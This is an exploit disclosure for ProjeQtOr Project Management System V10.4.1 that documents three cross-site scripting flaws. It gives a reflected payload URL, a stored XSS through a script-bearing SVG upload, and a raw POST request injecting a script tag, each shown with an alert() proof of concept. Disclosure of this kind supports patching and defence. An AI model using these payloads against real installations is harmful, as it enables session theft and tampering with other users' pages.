Exploit Title: ProjeQtOr Project Management System V10.4.1 - Multiple XSS Version: V10.4.1 Bugs: Multiple XSS Technology: PHP Vendor URL: https://www.projeqtor.org Software Link: https://sourceforge.net/projects/projectorria/files/projeqtorV10.4.1.zip/download Date of found: 09.07.2023 Author: Mirabbas Ağalarov Tested on: Linux 2. Technical Details & POC ### XSS-1 ### visit: http://localhost/projeqtor/view/refreshCronIconStatus.php?cronStatus=miri%27);%22%3E%3Cscript%3Ealert(4)%3C/script%3E&csrfToken= payload: miri%27);%22%3E%3Cscript%3Ealert(4)%3C/script%3E ### XSS-2 ### steps: 1. login to account 2. go projects and create project 3.add attachment 3. upload svg file """ <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert(document.location); </script> </svg> """ 4. Go to svg file ( http://localhost/projeqtor/files/attach/attachment_5/malas.svg ) ### XSS-3 ### Go to below adress (post request) POST /projeqtor/tool/ack.php?destinationWidth=50&destinationHeight=0&isIE=&xhrPostDestination=resultDivMain&xhrPostIsResultMessage=true&xhrPostValidationType=attachment&xhrPostTimestamp=1688898776311&csrfToken= HTTP/1.1 Host: localhost Content-Length: 35 sec-ch-ua: Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36 sec-ch-ua-platform: "" Accept: */* Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/projeqtor/view/main.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=r5cjcsggl4j0oa9s70vchaklf3 Connection: close resultAck=<script>alert(4)</script>